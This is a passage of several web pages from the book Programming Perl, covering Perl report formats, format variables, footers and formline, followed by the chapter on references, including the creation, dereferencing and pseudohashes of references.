Using ^ fields can produce variable-length records. If the text to be formatted is short, just repeat the format line with the ^ field in it a few times. If you just do this for short data you'd end up getting a few blank lines. To suppress lines that would end up blank, put a ~ (tilde) character anywhere in the line. (The tilde itself will be translated to a space upon output.) If you put a second tilde next to the first, the line will be repeated until all the text in the fields on that line are exhausted. (This works because the ^ fields chew up the strings they print. But if you use a field of the @ variety in conjunction with two tildes, the expression you supply had better not give the same value every time forever! Use a shift, or some other operator with a side effect that exhausts the set of values.)

Top-of-form processing is by default handled by a format with the same name as the current filehandle with _TOP concatenated to it. It's triggered at the top of each page. See write in Chapter 29, "Functions".

Here are some examples:

# a report on the /etc/passwd file
format STDOUT_TOP =
                         Passwd File
Name                Login    Office   Uid   Gid Home
------------------------------------------------------------------
.
format STDOUT =
@<<<<<<<<<<<<<<<<<< @||||||| @<<<<<<@>>>> @>>>> @<<<<<<<<<<<<<<<<<
$name,              $login,  $office,$uid,$gid, $home
.

# a report from a bug report form
format STDOUT_TOP =
                         Bug Reports
@<<<<<<<<<<<<<<<<<<<<<<<     @|||         @>>>>>>>>>>>>>>>>>>>>>>>
$system,                      $%,         $date
------------------------------------------------------------------
.
format STDOUT =
Subject: @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
         $subject
Index: @<<<<<<<<<<<<<<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
       $index,                       $description
Priority: @<<<<<<<<<< Date: @<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
          $priority,        $date,   $description
From: @<<<<<<<<<<<<<<<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
      $from,                         $description
Assigned to: @<<<<<<<<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
             $programmer,            $description
~                                    ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                                     $description
~                                    ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                                     $description
~                                    ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                                     $description
~                                    ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                                     $description
~                                    ^<<<<<<<<<<<<<<<<<<<<<<<...
                                     $description
.

Lexical variables are not visible within a format unless the format is declared within the scope of the lexical variable.

It is possible to intermix prints with writes on the same output channel, but you'll have to handle the $- special variable ($FORMAT_LINES_LEFT if you're using the English module) yourself.

7.1. Format Variables

The current format name is stored in the variable $~ ($FORMAT_NAME), and the current top-of-form format name is in $^ ($FORMAT_TOP_NAME). The current output page number is stored in $% ($FORMAT_PAGE_NUMBER), and the number of lines on the page is in $= ($FORMAT_LINES_PER_PAGE). Whether to flush the output buffer on this handle automatically is stored in $| ($OUTPUT_AUTOFLUSH). The string to be output before each top of page (except the first) is stored in $^L ($FORMAT_FORMFEED). These variables are set on a per-filehandle basis, so you'll need to select the filehandle associated with a format in order to affect its format variables:

select((select(OUTF),
        $~ = "My_Other_Format",
        $^ = "My_Top_Format"
       )[0]);
Pretty ugly, eh? It's a common idiom though, so don't be too surprised when you see it. You can at least use a temporary variable to hold the previous filehandle:
$ofh = select(OUTF);
$~ = "My_Other_Format";
$^ = "My_Top_Format";
select($ofh);

This is a much better approach in general because not only does legibility improve, but you now have an intermediary statement in the code to stop on when you're single-stepping in the debugger. If you use the English module, you can even read the variable names:

use English;
$ofh = select(OUTF);
$FORMAT_NAME     = "My_Other_Format";
$FORMAT_TOP_NAME = "My_Top_Format";
select($ofh);

But you still have those funny calls to select. If you want to avoid them, use the FileHandle module bundled with Perl. Now you can access these special variables using lowercase method names instead:

use FileHandle;
OUTF->format_name("My_Other_Format");
OUTF->format_top_name("My_Top_Format");
Much better!

Since the values line following your picture line may contain arbitrary expressions (for @ fields, not ^ fields), you can farm out more sophisticated processing to other functions, like sprintf or one of your own. For example, to insert commas into a number:

format Ident =
    @<<<<<<<<<<<<<<<
    commify($n)
.
To get a real @, ~, or ^ into the field, do this:
format Ident =
I have an @ here.
         "@"
.

To center a whole line of text, do something like this:

format Ident =
@||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
                          "Some text line"
.

The > field-length indicator ensures that the text will be right-justified within the field, but the field as a whole occurs exactly where you show it occurring. There is no built-in way to say "float this field to the right-hand side of the page, however wide it is." You have to specify where it goes relative to the left margin. The truly desperate can generate their own format on the fly, based on the current number of columns (not supplied), and then eval it:

$format  = "format STDOUT = \n"
         . '^' . '<' x $cols . "\n"
         . '$entry' . "\n"
         . "\t^" . "<" x ($cols-8) . "~~\n"
         . '$entry' . "\n"
         . ".\n";
print $format if $Debugging;
eval $format;
die $@ if $@;
The most important line there is probably the print. What the print would print out looks something like this:
format STDOUT =
^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$entry
    ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<~~
$entry
.

Here's a little program that behaves like the fmt(1) Unix utility:

format =
^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< ~~
$_

.

$/ = "";
while (<>) {
    s/\s*\n\s*/ /g;
    write;
}
Previous | Home | Next
6.5. Subroutine Attributes | Book Index | 7.2. Footers
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Footers (Programming Perl)

 Book Home Programming PerlSearch this book

7.2. Footers

While $^ ($FORMAT_TOP_NAME) contains the name of the current header format, there is no corresponding mechanism to do the same thing automatically for a footer. Not knowing how big a format is going to be until you evaluate it is one of the major problems. It's on the TODO list.[2]

[2]That doesn't guarantee we'll ever do it, of course. Formats are somewhat pass&#233; in this age of WWW, Unicode, XML, XSLT, and whatever the next few things after that are.

Here's one strategy: if you have a fixed-size footer, you can get footers by checking $- ($FORMAT_LINES_LEFT) before each write and then print the footer yourself if necessary.

Here's another strategy; open a pipe to yourself, using open(MESELF, "|-") (see the open entry in Chapter 29, "Functions") and always write to MESELF instead of STDOUT. Have your child process postprocess its STDIN to rearrange headers and footers however you like. Not very convenient, but doable.

7.2.1. Accessing Formatting Internals

For low-level access to the internal formatting mechanism, you may use the built-in formline operator and access $^A (the $ACCUMULATOR variable) directly. (Formats essentially compile into a sequence of calls to formline.) For example:

$str = formline <<'END', 1,2,3;
@<<<  @|||  @>>>
END

print "Wow, I just stored `$^A' in the accumulator!\n";
Or to create an swrite subroutine that is to write as sprintf is to printf, do this:
use Carp;
sub swrite {
    croak "usage: swrite PICTURE ARGS" unless @_;
    my $format = shift;
    $^A = "";
    formline($format, @_);
    return $^A;
}

$string = swrite(<<'END', 1, 2, 3);
Check me out
@<<<  @|||  @>>>
END
print $string;

If you were using the FileHandle module, you could use formline as follows to wrap a block of text at column 72:

use FileHandle;
STDOUT->formline("^" . ("<" x 72) . "~~\n", $long_text);

Previous | Home | Next
7.1. Format Variables | Book Index | 8. References
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


References (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 8. References

Contents:

What Is a Reference?
Creating References
Using Hard References
Symbolic References
Braces, Brackets, and Quoting

For both practical and philosophical reasons, Perl has always been biased in favor of flat, linear data structures. And for many problems, this is just what you want.

Suppose you wanted to build a simple table (two-dimensional array) showing vital statistics--age, eye color, and weight--for a group of people. You could do this by first creating an array for each individual:

@john = (47, "brown", 186);
@mary = (23, "hazel", 128);
@bill = (35, "blue",  157);
You could then construct a single, additional array consisting of the names of the other arrays:
@vitals = ('john', 'mary', 'bill');
To change John's eyes to "red" after a night on the town, we want a way to change the contents of the @john array given only the simple string "john". This is the basic problem of indirection, which various languages solve in various ways. In C, the most common form of indirection is the pointer, which lets one variable hold the memory address of another variable. In Perl, the most common form of indirection is the reference.

8.1. What Is a Reference?

In our example, $vitals[0] has the value "john". That is, it contains a string that happens to be the name of another (global) variable. We say that the first variable refers to the second, and this sort of reference is called a symbolic reference, since Perl has to look up @john in a symbol table to find it. (You might think of symbolic references as analogous to symbolic links in the filesystem.) We'll talk about symbolic references later in this chapter.

The other kind of reference is a hard reference, and this is what most Perl programmers use to accomplish their indirections (if not their indiscretions). We call them hard references not because they're difficult, but because they're real and solid. If you like, think of hard references as real references and symbolic references as fake references. It's like the difference between true friendship and mere name-dropping. When we don't specify which type of reference we mean, it's a hard reference. Figure 8-1 depicts a variable named $bar referring to the contents of a scalar named $foo which has the value "bot".

Figure 8.1. A hard reference and a symbolic reference

Unlike a symbolic reference, a real reference refers not to the name of another variable (which is just a container for a value) but to an actual value itself, some internal glob of data. There's no good word for that thing, but when we have to, we'll call it a referent. Suppose, for example, that you create a hard reference to a lexically scoped array named @array. This hard reference, and the referent it refers to, will continue to exist even after @array goes out of scope. A referent is only destroyed when all the references to it are eliminated.

A referent doesn't really have a name of its own, apart from the references to it. To put it another way, every Perl variable name lives in some kind of symbol table, holding one hard reference to its underlying (otherwise nameless) referent. That referent might be simple, like a number or string, or complex, like an array or hash. Either way, there's still exactly one reference from the variable to its value. You might create additional hard references to the same referent, but if so, the variable doesn't know (or care) about them.[1]

[1] If you're curious, you can determine the underlying refcount with the Devel::Peek module, bundled with Perl.

A symbolic reference is just a string that happens to name something in a package symbol table. It's not so much a distinct type as it is something you do with a string. But a hard reference is a different beast entirely. It is the third of the three kinds of fundamental scalar data types, the other two being strings and numbers. A hard reference doesn't know something's name just to refer to it, and it's actually completely normal for there to be no name to use in the first place. Such totally nameless referents are called anonymous; we discuss them in "Anonymous Data" below.

To reference a value, in the terminology of this chapter, is to create a hard reference to it. (There's a special operator for this creative act.) The reference so created is simply a scalar, which behaves in all familiar contexts just like any other scalar. To dereference this scalar means to use the reference to get at the referent. Both referencing and dereferencing occur only when you invoke certain explicit mechanisms; implicit referencing or dereferencing never occurs in Perl. Well, almost never.

A function call can use implicit pass-by-reference semantics--if it has a prototype declaring it that way. If so, the caller of the function doesn't explicitly pass a reference, although you still have to dereference it explicitly within the function. See the section Section 8.4, "Prototypes" in Chapter 6, "Subroutines". And to be perfectly honest, there's also some behind-the-scenes dereferencing happening when you use certain kinds of filehandles, but that's for backward compatibility and is transparent to the casual user. Finally, two built-in functions, bless and lock, each take a reference for their argument but implicitly dereference it to work their magic on what lies behind. But those confessions aside, the basic principle still holds that Perl isn't interested in muddling your levels of indirection.

A reference can point to any data structure. Since references are scalars, you can store them in arrays and hashes, and thus build arrays of arrays, arrays of hashes, hashes of arrays, arrays of hashes and functions, and so on. There are examples of these in Chapter 9, "Data Structures".

Keep in mind, though, that Perl arrays and hashes are internally one-dimensional. That is, their elements can hold only scalar values (strings, numbers, and references). When we use a phrase like "array of arrays", we really mean "array of references to arrays", just as when we say "hash of functions" we really mean "hash of references to subroutines". But since references are the only way to implement such structures in Perl, it follows that the shorter, less accurate phrase is not so inaccurate as to be false, and therefore should not be totally despised, unless you're into that sort of thing.

Previous | Home | Next
7.2. Footers | Book Index | 8.2. Creating References
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Creating References (Programming Perl)

 Book Home Programming PerlSearch this book

8.2. Creating References

There are several ways to create references, most of which we will describe before explaining how to use (dereference) the resulting references.

8.2.1. The Backslash Operator

You can create a reference to any named variable or subroutine with a backslash. (You may also use it on an anonymous scalar value like 7 or "camel", although you won't often need to.) This operator works like the & (address-of) operator in C--at least at first glance.

Here are some examples:

$scalarref = \$foo;
$constref  = \186_282.42;
$arrayref  = \@ARGV;
$hashref   = \%ENV;
$coderef   = \&handler;
$globref   = \*STDOUT;
The backslash operator can do more than produce a single reference. It will generate a whole list of references if applied to a list. See the section Section 8.3.6, "Other Tricks You Can Do with Hard References" for details.

8.2.2. Anonymous Data

In the examples just shown, the backslash operator merely makes a duplicate of a reference that is already held in a variable name--with one exception. The 186_282.42 isn't referenced by a named variable--it's just a value. It's one of those anonymous referents we mentioned earlier. Anonymous referents are accessed only through references. This one happens to be a number, but you can create anonymous arrays, hashes, and subroutines as well.

8.2.2.1. The anonymous array composer

You can create a reference to an anonymous array with square brackets:

$arrayref = [1, 2, ['a', 'b', 'c', 'd']];
Here we've composed an anonymous array of three elements, whose final element is a reference to an anonymous array of four elements (depicted in Figure 8-2). (The multidimensional syntax described later can be used to access this. For example, $arrayref->[2][1] would have the value "b".)

Figure 8.2. A reference to an array, whose third element is itself an array reference

We now have one way to represent the table at the beginning of the chapter:

$table = [ [ "john", 47, "brown", 186],
           [ "mary", 23, "hazel", 128],
           [ "bill", 35, "blue",  157] ];
Square brackets work like this only where the Perl parser is expecting a term in an expression. They should not be confused with the brackets in an expression like $array[6]--although the mnemonic association with arrays is intentional. Inside a quoted string, square brackets don't compose anonymous arrays; instead, they become literal characters in the string. (Square brackets do still work for subscripting in strings, or you wouldn't be able to print string values like "VAL=$array[6]\n". And to be totally honest, you can in fact sneak anonymous array composers into strings, but only when embedded in a larger expression that is being interpolated. We'll talk about this cool feature later in the chapter because it involves dereferencing as well as referencing.)

8.2.2.2. The anonymous hash composer

You can create a reference to an anonymous hash with braces:

$hashref = {
    'Adam'   => 'Eve',
    'Clyde'  => $bonnie,
    'Antony' => 'Cleo' . 'patra',
};
For the values (but not the keys) of the hash, you can freely mix other anonymous array, hash, and subroutine composers to produce as complicated a structure as you like.

We now have another way to represent the table at the beginning of the chapter:

$table = {
            "john" => [ 47, "brown", 186 ],
            "mary" => [ 23, "hazel", 128 ],
            "bill" => [ 35, "blue",  157 ],
};
That's a hash of arrays. Choosing the best data structure is a tricky business, and the next chapter is devoted to it. But as a teaser, we could even use a hash of hashes for our table:
$table = {
           "john" => { age    => 47,
                       eyes   => "brown",
                       weight => 186,
                     },
           "mary" => { age    => 23,
                       eyes   => "hazel",
                       weight => 128,
                     },
           "bill" => { age    => 35,
                       eyes   => "blue",
                       weight => 157,
                     },
 };
As with square brackets, braces work like this only where the Perl parser is expecting a term in an expression. They should not be confused with the braces in an expression like $hash{key}--although the mnemonic association with hashes is (again) intentional. The same caveats apply to the use of braces within strings.

There is one additional caveat which didn't apply to square brackets. Since braces are also used for several other things (including blocks), you may occasionally have to disambiguate braces at the beginning of a statement by putting a + or a return in front, so that Perl realizes the opening brace isn't starting a block. For example, if you want a function to make a new hash and return a reference to it, you have these options:

sub hashem {        { @_ } }   # Silently WRONG -- returns @_.
sub hashem {       +{ @_ } }   # Ok.
sub hashem { return { @_ } }   # Ok.

8.2.2.3. The anonymous subroutine composer

You can create a reference to an anonymous subroutine by using sub without a subroutine name:

$coderef = sub { print "Boink!\n" };  # Now &$coderef prints "Boink!"
Note the presence of the semicolon, required here to terminate the expression. (It isn't required after the more common usage of sub NAME{} that declares and defines a named subroutine.) A nameless sub {} is not so much a declaration as it is an operator--like do {} or eval {}--except that the code inside isn't executed immediately. Instead, it just generates a reference to the code, which in our example is stored in $coderef. However, no matter how many times you execute the line shown above, $coderef will still refer to the same anonymous subroutine.[2]

[2]But even though there's only one anonymous subroutine, there may be several copies of the lexical variables in use by the subroutine, depending on when the subroutine reference was generated. These are discussed later in the section Section 8.3.7, "Closures".

8.2.3. Object Constructors

Subroutines can also return references. That may sound trite, but sometimes you are supposed to use a subroutine to create a reference rather than creating the reference yourself. In particular, special subroutines called constructors create and return references to objects. An object is simply a special kind of reference that happens to know which class it's associated with, and constructors know how to create that association. They do so by taking an ordinary referent and turning it into an object with the bless operator, so we can speak of an object as a blessed reference. There's nothing religious going on here; since a class acts as a user-defined type, blessing a referent simply makes it a user-defined type in addition to a built-in one. Constructors are often named new--especially by C++ programmers--but they can be named anything in Perl.

Constructors can be called in any of these ways:

$objref = Doggie::->new(Tail => 'short', Ears => 'long');  #1
$objref = new Doggie:: Tail => 'short', Ears => 'long';    #2
$objref = Doggie->new(Tail => 'short', Ears => 'long');    #3
$objref = new Doggie Tail => 'short', Ears => 'long';      #4
The first and second invocations are the same. They both call a function named new that is supplied by the Doggie module. The third and fourth invocations are the same as the first two, but are slightly more ambiguous: the parser will get confused if you define your own subroutine named Doggie. (Which is why people typically stick with lowercase names for subroutines and uppercase for modules.) The fourth invocation can also get confused if you've defined your own new subroutine and don't happen to have done either a require or a use of the Doggie module, either of which has the effect of declaring the module. Always declare your modules if you want to use #4. (And watch out for stray Doggie subroutines.)

See Chapter 12, "Objects" for a discussion of Perl objects.

8.2.4. Handle References

References to filehandles or directory handles can be created by referencing the typeglob of the same name:

splutter(\*STDOUT);

sub splutter {
    my $fh = shift;
    print $fh "her um well a hmmm\n";
}

$rec = get_rec(\*STDIN);
sub get_rec {
    my $fh = shift;
    return scalar <$fh>;
}
If you're passing around filehandles, you can also use the bare typeglob to do so: in the example above, you could have used *STDOUT or *STDIN instead of \*STDOUT and \*STDIN.

Although you can usually use typeglob and references to typeglobs interchangeably, there are a few places where you can't. Simple typeglobs can't be blessed into objectdom, and typeglob references can't be passed back out of the scope of a localized typeglob.

When generating new filehandles, older code would often do something like this to open a list of files:

for $file (@names) {
    local *FH;
    open(*FH, $file) || next;
    $handle{$file} = *FH;
}

That still works, but now it's just as easy to let an undefined variable autovivify an anonymous typeglob:

for $file (@names) {
    my $fh;
    open($fh, $file) || next;
    $handle{$file} = $fh;
}
With indirect filehandles, it doesn't matter whether you use use typeglobs, references to typeglobs, or one of the more exotic I/O objects. You just use a scalar that--one way or another--gets interpreted as a filehandle. For most purposes, you can use either a typeglob or a typeglob reference almost indiscriminately. As we admitted earlier, there is some implicit dereferencing magic going on here.

8.2.5. Symbol Table References

In unusual circumstances, you might not know what type of reference you need when your program is written. A reference can be created by using a special syntax, affectionately known as the *foo{THING} syntax. *foo{THING} returns a reference to the THING slot in *foo, which is the symbol table entry holding the values of $foo, @foo, %foo, and friends.

$scalarref = *foo{SCALAR};   # Same as \$foo
$arrayref  = *ARGV{ARRAY};   # Same as \@ARGV
$hashref   = *ENV{HASH};     # Same as \%ENV
$coderef   = *handler{CODE}; # Same as \&handler
$globref   = *foo{GLOB};     # Same as \*foo
$ioref     = *STDIN{IO};     # Er...
All of these are self-explanatory except for *STDIN{IO}. It yields the actual internal IO::Handle object that the typeglob contains, that is, the part of the typeglob that the various I/O functions are actually interested in. For compatibility with previous versions of Perl, *foo{FILEHANDLE} is a synonym for the hipper *foo{IO} notation.

In theory, you can use a *HANDLE{IO} anywhere you'd use a *HANDLE or a \*HANDLE, such as for passing handles into or out of subroutines, or storing them in larger data structures. (In practice, there are still some wrinkles to be ironed out.) The advantage of them is that they access only the real I/O object you want, not the whole typeglob, so you run no risk of clobbering more than you want to through a typeglob assignment (although if you always assign to a scalar variable instead of to a typeglob, you'll be okay). One disadvantage is that there's no way to autovivify one as of yet.[3]

splutter(*STDOUT);
splutter(*STDOUT{IO});

sub splutter {
    my $fh = shift;
    print $fh "her um well a hmmm\n";
}
Both invocations of splutter() print "her um well a hmmm".

[3] Currently, open my $fh autovivifies a typeglob instead of an IO::Handle object, but someday we may fix that, so you shouldn't rely on the typeglobbedess of what open currently autovivifies.

The *foo{THING} thing returns undef if that particular THING hasn't been seen by the compiler yet, except when THING is SCALAR. It so happens that *foo{SCALAR} returns a reference to an anonymous scalar even if $foo hasn't been seen yet. (Perl always adds a scalar to any typeglob as an optimization to save a bit of code elsewhere. But don't depend on it to stay that way in future releases.)

8.2.6. Implicit Creation of References

A final method for creating references is not really a method at all. References of an appropriate type simply spring into existence if you dereference them in an lvalue context that assumes they exist. This is extremely useful, and is also What You Expect. This topic is covered later in this chapter, where we'll discuss how to dereference all of the references we've created so far.

Previous | Home | Next
8.1. What Is a Reference? | Book Index | 8.3. Using Hard References
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Using Hard References (Programming Perl)

 Book Home Programming PerlSearch this book

8.3. Using Hard References

Just as there are numerous ways to create references, there are also several ways to use, or dereference, a reference. There is just one overriding principle: Perl does no implicit referencing or dereferencing.[4] When a scalar is holding a reference, it always behaves like a simple scalar. It doesn't magically start being an array or hash or subroutine; you have to tell it explicitly to do so, by dereferencing it.

[4] We already confessed that this was a small fib. We're not about to do so again.

8.3.1. Using a Variable as a Variable Name

When you encounter a scalar like $foo, you should be thinking "the scalar value of foo." That is, there's a foo entry in the symbol table, and the $ funny character is a way of looking at whatever scalar value might be inside. If what's inside is a reference, you can look inside that (dereferencing $foo) by prepending another funny character. Or looking at it the other way around, you can replace the literal foo in $foo with a scalar variable that points to the actual referent. This is true of any variable type, so not only is $$foo the scalar value of whatever $foo refers to, but @$bar is the array value of whatever $bar refers to, %$glarch is the hash value of whatever $glarch refers to, and so on. The upshot is that you can put an extra funny character on the front of any simple scalar variable to dereference it:

$foo         = "three humps";
$scalarref   = \$foo;         # $scalarref is now a reference to $foo
$camel_model = $$scalarref;   # $camel_model is now "three humps"
Here are some other dereferences:
$bar = $$scalarref;

push(@$arrayref, $filename);
$$arrayref[0] = "January";            # Set the first element of @$arrayref
@$arrayref[4..6] = qw/May June July/; # Set several elements of @$arrayref

%$hashref = (KEY => "RING", BIRD => "SING");  # Initialize whole hash
$$hashref{KEY} = "VALUE";                     # Set one key/value pair
@$hashref{"KEY1","KEY2"} = ("VAL1","VAL2");   # Set two more pairs

&$coderef(1,2,3);

print $handleref "output\n";

This form of dereferencing can only make use of a simple scalar variable (one without a subscript). That is, dereferencing happens before (or binds tighter than) any array or hash lookups. Let's use some braces to clarify what we mean: an expression like $$arrayref[0] is equivalent to ${$arrayref}[0] and means the first element of the array referred to by $arrayref. That is not at all the same as ${$arrayref[0]}, which is dereferencing the first element of the (probably nonexistent) array named @arrayref. Likewise, $$hashref{KEY} is the same as ${$hashref}{KEY}, and has nothing to do with ${$hashref{KEY}}, which would be dereferencing an entry in the (probably nonexistent) hash named %hashref. You will be miserable until you understand this.

You can achieve multiple levels of referencing and dereferencing by concatenating the appropriate funny characters. The following prints "howdy":

$refrefref = \\\"howdy";
print $$$$refrefref;
You can think of the dollar signs as operating right to left. But the beginning of the chain must still be a simple, unsubscripted scalar variable. There is, however, a way to get fancier, which we already sneakily used earlier, and which we'll explain in the next section.

8.3.2. Using a BLOCK as a Variable Name

Not only can you dereference a simple variable name, you can also dereference the contents of a BLOCK. Anywhere you'd put an alphanumeric identifier as part of a variable or subroutine name, you can replace the identifier with a BLOCK returning a reference of the correct type. In other words, the earlier examples could all be disambiguated like this:

$bar = ${$scalarref};
push(@{$arrayref}, $filename);
${$arrayref}[0] = "January";
@{$arrayref}[4..6] = qw/May June July/;
${$hashref}{"KEY"} = "VALUE";
@{$hashref}{"KEY1","KEY2"} = ("VAL1","VAL2");
&{$coderef}(1,2,3);
not to mention:
$refrefref = \\\"howdy";
print ${${${$refrefref}}};
Admittedly, it's silly to use the braces in these simple cases, but the BLOCK can contain any arbitrary expression. In particular, it can contain subscripted expressions. In the following example, $dispatch{$index} is assumed to contain a reference to a subroutine (sometimes called a "coderef"). The example invokes the subroutine with three arguments.
&{ $dispatch{$index} }(1, 2, 3);
Here, the BLOCK is necessary. Without that outer pair of braces, Perl would have treated $dispatch as the coderef instead of $dispatch{$index}.

8.3.3. Using the Arrow Operator

For references to arrays, hashes, or subroutines, a third method of dereferencing involves the use of the -> infix operator. This form of syntactic sugar that makes it easier to get at individual array or hash elements, or to call a subroutine indirectly.

The type of the dereference is determined by the right operand, that is, by what follows directly after the arrow. If the next thing after the arrow is a bracket or brace, the left operand is treated as a reference to an array or a hash, respectively, to be subscripted by the expression on the right. If the next thing is a left parenthesis, the left operand is treated as a reference to a subroutine, to be called with whatever parameters you supply in the parentheses on the right.

Each of these next trios is equivalent, corresponding to the three notations we've introduced. (We've inserted some spaces to line up equivalent elements.)

$  $arrayref  [2] = "Dorian";         #1
${ $arrayref }[2] = "Dorian";         #2
   $arrayref->[2] = "Dorian";         #3

$  $hashref  {KEY} = "F#major";       #1
${ $hashref }{KEY} = "F#major";       #2
   $hashref->{KEY} = "F#major";       #3

&  $coderef  (Presto => 192);         #1
&{ $coderef }(Presto => 192);         #2
   $coderef->(Presto => 192);         #3
You can see that the initial funny character is missing from the third notation in each trio. The funny character is guessed at by Perl, which is why it can't be used to dereference complete arrays, complete hashes, or slices of either. As long as you stick with scalar values, though, you can use any expression to the left of the ->, including another dereference, because multiple arrow operators associate left to right:
print $array[3]->{"English"}->[0];
You can deduce from this expression that the fourth element of @array is intended to be a hash reference, and the value of the "English" entry in that hash is intended to be an array reference.

Note that $array[3] and $array->[3] are not the same. The first is talking about the fourth element of @array, while the second one is talking about the fourth element of the (possibly anonymous) array whose reference is contained in $array.

Suppose now that $array[3] is undefined. The following statement is still legal:

$array[3]->{"English"}->[0] = "January";
This is one of those cases mentioned earlier in which references spring into existence (or "autovivify") when used as an lvalue (that is, when a value is being assigned to it). If $array[3] was undefined, it's automatically defined as a hash reference so that we can set a value for $array[3]->{"English"} in it. Once that's done, $array[3]->{"English"} is automatically defined as an array reference so that we can assign something to the first element in that array. Note that rvalues are a little different: print $array[3]->{"English"}->[0] only defines $array[3] and $array[3]->{"English"}, not $array[3]->{"English"}->[0], since the final element is not an lvalue. (The fact that it defines the first two at all in an rvalue context could be considered a bug. We may fix that someday.)

The arrow is optional between brackets or braces, or between a closing bracket or brace and a parenthesis for an indirect function call. So you can shrink the previous code down to:

$dispatch{$index}(1, 2, 3);
$array[3]{"English"}[0] = "January";
In the case of ordinary arrays, this gives you multidimensional arrays that are just like C's array:
$answer[$x][$y][$z] += 42;
Well, okay, not entirely like C's arrays. For one thing, C doesn't know how to grow its arrays on demand, while Perl does. Also, some constructs that are similar in the two languages parse differently. In Perl, the following two statements do the same thing:
$listref->[2][2] = "hello";    # Pretty clear
$$listref[2][2]  = "hello";    # A bit confusing
This second of these statements may disconcert the C programmer, who is accustomed to using *a[i] to mean "what's pointed to by the ith element of a". But in Perl, the five characters ($ @ * % &) effectively bind more tightly than braces or brackets.[5] Therefore, it is $$listref and not $listref[2] that is taken to be a reference to an array. If you want the C behavior, either you have to write ${$listref[2]} to force the $listref[2] to get evaluated before the leading $ dereferencer, or you have to use the -> notation:
$listref[2]->[$greeting] = "hello";

[5] But not because of operator precedence. The funny characters in Perl are not operators in that sense. Perl's grammar simply prohibits anything more complicated than a simple variable or block from following the initial funny character, for various funny reasons.

8.3.4. Using Object Methods

If a reference happens to be a reference to an object, then the class that defines that object probably provides methods to access the innards of the object, and you should generally stick to those methods if you're merely using the class (as opposed to implementing it). In other words, be nice, and don't treat an object like a regular reference, even though Perl lets you when you really need to. Perl does not enforce encapsulation. We are not totalitarians here. We do expect some basic civility, however.

In return for this civility, you get complete orthogonality between objects and data structures. Any data structure can behave as an object when you want it to. Or not, when you don't.

8.3.5. Pseudohashes

A pseudohash is any reference to an array whose first element is a reference to a hash. You can treat the pseudohash reference as either an array reference (as you would expect) or a hash reference (as you might not expect). Here's an example of a pseudohash:

$john = [ {age => 1, eyes => 2, weight => 3}, 47, "brown", 186 ];
The underlying hash in $john->[0] defines the names ("age", "eyes", "weight") of the array elements that follow (47, "brown", 186). Now you can access an element with both hash and array notations:
$john->{weight}             # Treats $john as a hashref
$john->[3]                  # Treats $john as an arrayref
Pseudohash magic is not deep; it only knows one "trick": how to turn a hash dereference into an array dereference. When adding another element to a pseudohash, you have to explicitly tell the underlying mapping hash where the element will reside before you can use the hash notation:
$john->[0]{height} = 4;     # height is to be element 4
$john->{height} = "tall";   # Or $john->[4] = "tall"
Perl raises an exception if you try to delete a key from a pseudohash, although you can always delete keys from the mapping hash. Perl also raises an exception if you try to access a nonexistent key, where "existence" means presence in the mapping hash:
delete $john->[0]{height};  # Deletes from the underlying hash only
$john->{height};            # This now raises an exception
$john->[4];                 # Still prints "tall"
Don't try to splice the array unless you know what you're doing. If the array elements move around, the mapping hash values will still refer to the old element positions, unless you change those explicitly, too. Pseudohash magic is not deep.

To avoid inconsistencies, you can use the fields::phash function provided by the use fields pragma to create a pseudohash:

use fields;
$ph = fields::phash(age => 47, eyes => "brown", weight => 186);
print $ph->{age};
There are two ways to check for the existence of a key in a pseudohash. The first is to use exists, which checks whether the given field has ever been set. It acts this way to match the behavior of a real hash. For instance:
use fields;
$ph= fields::phash([qw(age eyes brown)], [47]);
$ph->{eyes} = undef;

print exists $ph->{age};     # True, 'age' was set in declaration.
print exists $ph->{weight};  # False, 'weight' has not been used.
print exists $ph->{eyes};    # True, your 'eyes' have been touched.
The second way is to use exists on the mapping hash sitting in the first array element. This checks whether the given key is a valid field for that pseudohash:
print exists $ph->[0]{age};   # True, 'age' is a valid field
print exists $ph->[0]{name};  # False, 'name' can't be used
Unlike what happens in a real hash, calling delete on a pseudohash element deletes only the array value corresponding to the key, not the real key in the mapping hash. To delete the key, you have to explicitly delete it from the mapping hash. Once you do that, you may no longer use that key name as a pseudohash subscript:
print delete $ph->{age};     # Removes and returns $ph->[1], 47
print exists $ph->{age};     # Now false
print exists $ph->[0]{age};  # True, 'age' key still usable
print delete $ph->[0]{age};  # Now 'age' key is gone
print $ph->{age};            # Run-time exception
You've probably begun to wonder what could possibly have motivated this masquerade of arrays prancing about in hashes' clothing. Arrays provide faster lookups and more efficient storage, while hashes offer the convenience of naming (instead of numbering) your data; pseudohashes provide the best of both worlds. But it's not until you consider Perl's compilation phase that the greatest benefit becomes apparent. With the help of a pragma or two, the compiler can verify proper access to valid fields, so you can find out about nonexistent subscripts (or spelling errors) before your program starts to run.

Pseudohashes' properties of speed, efficiency, and compile-time access checking (you might even think of it as type safety) are especially handy for creating efficient and robust class modules. See the discussion of the use fields pragma in Chapter 12, "Objects" and Chapter 31, "Pragmatic Modules".

Pseudohashes are a new and relatively experimental feature; as such, the underlying implementation may well change in the future. To protect yourself from such changes, always go through the fields module's documented interface via its phash and new functions.

8.3.6. Other Tricks You Can Do with Hard References

